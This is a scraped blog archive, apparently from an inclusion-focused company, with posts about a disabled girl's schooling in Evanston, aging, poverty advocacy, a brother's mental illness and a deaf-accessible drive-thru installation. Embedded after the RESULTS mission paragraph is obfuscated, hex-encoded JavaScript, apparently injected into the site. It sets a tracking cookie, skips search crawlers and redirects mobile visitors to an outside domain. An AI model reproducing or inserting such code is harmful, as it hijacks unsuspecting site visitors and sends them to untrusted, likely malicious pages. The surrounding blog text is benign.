“The Penelope Impact” – a documentary film about 4 years of inclusion in a neighborhood school in Evanston, Illinois

We are hosting a private viewing for Willard Elementary School in Evanston of The Penelope Impact next Wednesday, but then will be posting this for everyone to view following that event… Stay tuned.

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Sister Pat’s View on Aging

So, several months ago, my mom came to me and wanted to discuss growing old and how people age with dignity. Our family has had some wonderful experiences with Sister Pat and the Addolorata Villa in Wheeling, Illinois and so we decided to take an afternoon and visit. We listened to sister Pat talk about growing old and some of the difficulties with finding the right balance between independence and safety for our aging family members.

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Out of Poverty and Talking to Power

In this episode of Pepsi with Brigid, we interview Vanessa Garcia, a young woman who grew up in poverty and who was inspired by Marianne Williamson at her Sister Giant conference to do something about her situations and others like her. She originally found out about Marianne through a show on Oprah and went to the Sister Giant conference which is where RESULTS Board Member, Marianne Williamson shared her desire to see people like Vanessa take charge of their own destiny.

Patrick Hughes who also sits on the RESULTS board, met Vanessa at the RESULTS conference in the summer of 2013 and took a couple of minutes to hear her story…

The Mission of RESULTS:

Our vision is of a world where the devastating impacts of poverty no longer cripple the ability of individuals and families to sustain themselves and contribute their talents to the world in which they live — where all people have a fair chance at success. But it takes citizens pressuring their leaders for effective anti-poverty programs to receive the attention, policies, and funding they need.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Perhaps, Penelope

This is a story about a 2nd grade student, Penelope who is fully included into her home school of Willard Elementary School in Evanston, Illinois. In this piece, we explore the tough decisions that Matt and Megan Lassman went through to get to this place… Please watch and share

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Come watch the viewing of “Perhaps, Penelope”

promotion for preview screening

 

Perhaps, Penelope

Rather than just posting another video blog here at Pepsi with Brigid, we are going to have a viewing event first at Inclusion Solutions along with a discussion. We have shared the story of the Lassman’s several times now.   We sit down with Matt and Megan to discuss how Penelope is being included into their neighborhood school for the first time this year. Most parents who have a child with disabilities, are rookies and are simply left to trust the school systems and what they are being offered. Matt and Megan share with us the impact that it’s having on them, their family and the community.

Please join us

April 10th at 7pm
Inclusion Solutions office
2000 Greenleaf
Evanston, Illinois 60202
http://www.inclusionsolutions.com

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Remembering Brian Hughes – Innocence, Prison, Mental Illness, AIDS and Family

My parents Pat and Brigid Hughes sat down with me to discuss what it was like to raise a child with mental illness.  It has been 5 years since my brother Brian died and today (April 24th) would have been his 43rd birthday.  I felt compelled to share his story with you.

I think about my brother all the time.  He is with me everyday in my business life and my personal life.  I am forever grateful to my parents for making Brian part of our lives, and for their extraordinary generosity in sharing his story with people we have yet to meet.

Please watch this video to meet my brother Brian and our parents.

After I shot 40 minutes of video interviews with my parents, I struggled to tell this story.  I approached my cousin Terry Maday who is in the film business and asked for his help in telling a story that brings clarity to my brother’s life.   Terry and Oscar Ayala both did an amazing job and I will be forever grateful for their support.

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Meet The Lassmans – The impact of disability on the family

Please meet my friends, the Lassmans.  7 years ago, their daughter Penelope was born and there began a wild road of learning how to live with a child with disabilities and how it has impacted their whole family.  They also discuss how important community and friends have been in their experience.

Several years ago, (before I was thinking about blogging) I interviewed them because I was very moved by a story they told me and I put it on video because I thought Oprah Winfrey would have appreciated it…  I haven’t heard from her yet, so please watch it, it blew me away and I think it will you… (please excuse the bad hair in the intro)

My goal with sharing the Lassmans with you is to say that when the community engages and supports families like the Lassmans, our world is a better place.  Please talk with each other and take the time to

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Pictures from our trip to The North Carolina School for the Deaf and McDonald’s

We wanted to share some of the images of our trip to North Carolina where we met with 5 students and their teacher to talk about what would make their town more “deaf friendly”.   The students researched a video online and found that Inclusion Solutions works to make drive thrus accessible for the deaf and hard of hearing – they contacted me and rather then just send information via email or snail mail, we decided to travel to meet them.  Because I had just started blogging with my mom (Brigid), I asked her to join me in this trip and learn about this wonderful community.  Yes, she brought her knitting with her –

Brigid waiting for the presentation to begin

Coincidence

At the same time the students were researching our company, so was Heather Joyner the owner of the McDonald’s (with her husband Patrick) there in Morganton, NC.  The two were completely separate inquiries and during this trip we were able to connect all of the dots…  Heather came to the school for the presentation and shared with the students that she would be installing OrderAssist at 2 of her restaurants.   Julie Chang from The News Herald spent the day with us and the story was published in their local newspaper yesterday.  We have a couple of videos to post, but, we first wanted you to see some of the images from our adventures to North Carolina.

After the all school presentation, the students came with me to McDonald’s and installed OrderAssist.  Being able to install this system with the students was a privilege.

I really want to thank the students and their teacher Rene Skelton for making this happen.  The students were very polite and appreciative that we were there.  Also, being at the Joyner’s restaurant was a beautiful moment of inclusion.  I couldn’t believe just how many people they employ and that they have been hiring people with disabilities for a long time.  It was no wonder that she was seeking out our system, it seems to fit their philosophy quite well.

Here are some of the images from our trip:

At the School:

Brigid was welcomed by the school
Patrick speaking to audience
Fab 5 to their peers
Fab 5 wave to their peers
Students come on stage to talk with school
Students come on stage to talk with school
Owner of McDonalds, Heather Joyner on stage with students
Owner of McDonalds, Heather Joyner on stage with students
I love you in front of NCSD
I love you in front of NCSD

Heading to McDonald’s to install OrderAssist

NCSD School Bus
NCSD School Bus
conversation before install
students open boxes
students open boxes
Jesus and Oscar finish installing OrderAssist post
Jesus and Oscar finish installing OrderAssist post
students helping mike install
students helping mike install
1st customer to use system
1st customer to use OrderAssist system
patrick talking to students about what happens inside
patrick talking to students about what happens inside
"I love you" in front of McDonald's and OrderAssist
"I love you" in front of McDonald's and OrderAssist
Owner Patrick Joyner with employee Chanda
Owner Patrick Joyner with employee Chanda
Brigid and Students saying goodbye
Brigid and Students saying goodbye

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A Simple Lunch

In 1991, I had lunch with Sandra Goldin and my world shifted.  In this episode, my mom, Brigid and I visit with Sandra and her boyfriend Jim to discuss that initial meeting.  That lunch was the catalyst for me creating the company Inclusion Solutions

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Episode 3 – Driving Miss Linda

Brigid meets Linda Mastandrea and spends some time getting to know her.  During their time together, they go to a gas station to talk about the signs that Brigid explored in the previous episode.  Special thanks to Linda for her time and letting us into her world.

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